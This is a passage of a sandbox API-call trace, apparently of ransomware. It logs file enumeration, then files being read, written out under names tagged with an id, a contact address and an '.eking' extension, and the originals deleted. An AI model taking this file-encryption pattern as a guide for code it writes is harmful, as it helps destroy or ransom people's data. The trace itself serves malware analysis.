ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0076.240] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0076.241] FindNextFileW (hFindFile=0x2ee29c0, lpFindFileData=0x2caef10) Thread: id = 22 os_tid = 0x490 [0053.577] GetProcessHeap () returned 0x730000 [0053.577] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7e7c20 [0053.577] GetProcessHeap () returned 0x730000 [0053.577] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7f7c28 [0053.578] GetProcessHeap () returned 0x730000 [0053.578] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x7543b0 [0053.578] GetProcessHeap () returned 0x730000 [0053.578] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x110102) returned 0x2a90020 [0053.578] GetProcessHeap () returned 0x730000 [0053.578] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0053.578] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.579] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.579] Wow64DisableWow64FsRedirection (in: OldValue=0x2e3f864 | out: OldValue=0x2e3f864*=0x0) returned 1 [0053.579] GetProcessHeap () returned 0x730000 [0053.579] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0053.579] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0053.579] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=129) returned 1 [0053.579] CloseHandle (hObject=0x168) returned 1 [0053.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0053.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0053.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0053.580] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0053.580] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0053.580] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f7d8 | out: lpNewFilePointer=0x0) returned 1 [0053.580] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x164 [0053.581] ReadFile (in: hFile=0x168, lpBuffer=0x2a90020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesRead=0x2e3f7e4*=0x81, lpOverlapped=0x0) returned 1 [0053.598] WriteFile (in: hFile=0x164, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0x90, lpOverlapped=0x0) returned 1 [0053.599] WriteFile (in: hFile=0x164, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f7c8*=0xf2, lpOverlapped=0x0) returned 1 [0053.599] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0053.600] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f538 | out: lpNewFilePointer=0x0) returned 1 [0053.600] WriteFile (in: hFile=0x168, lpBuffer=0x2a90020*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2e3f544, lpOverlapped=0x0 | out: lpBuffer=0x2a90020*, lpNumberOfBytesWritten=0x2e3f544*=0x81, lpOverlapped=0x0) returned 1 [0053.600] FlushFileBuffers (hFile=0x168) returned 1 [0053.938] FlushFileBuffers (hFile=0x164) returned 1 [0054.649] CloseHandle (hObject=0x168) returned 1 [0054.652] CloseHandle (hObject=0x164) returned 1 [0054.655] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0054.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.659] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=89168) returned 1 [0054.659] CloseHandle (hObject=0x164) returned 1 [0054.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0054.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0054.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.662] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=87616) returned 1 [0054.662] CloseHandle (hObject=0x164) returned 1 [0054.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0054.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0054.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.663] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=91712) returned 1 [0054.663] CloseHandle (hObject=0x164) returned 1 [0054.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0054.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0054.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.663] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=94800) returned 1 [0054.664] CloseHandle (hObject=0x164) returned 1 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.664] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=85056) returned 1 [0054.664] CloseHandle (hObject=0x164) returned 1 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0054.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.665] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=43600) returned 1 [0054.665] CloseHandle (hObject=0x164) returned 1 [0054.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0054.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0054.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.666] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90192) returned 1 [0054.666] CloseHandle (hObject=0x164) returned 1 [0054.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0054.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0054.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.666] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=89152) returned 1 [0054.666] CloseHandle (hObject=0x164) returned 1 [0054.666] GetFileAttributesW 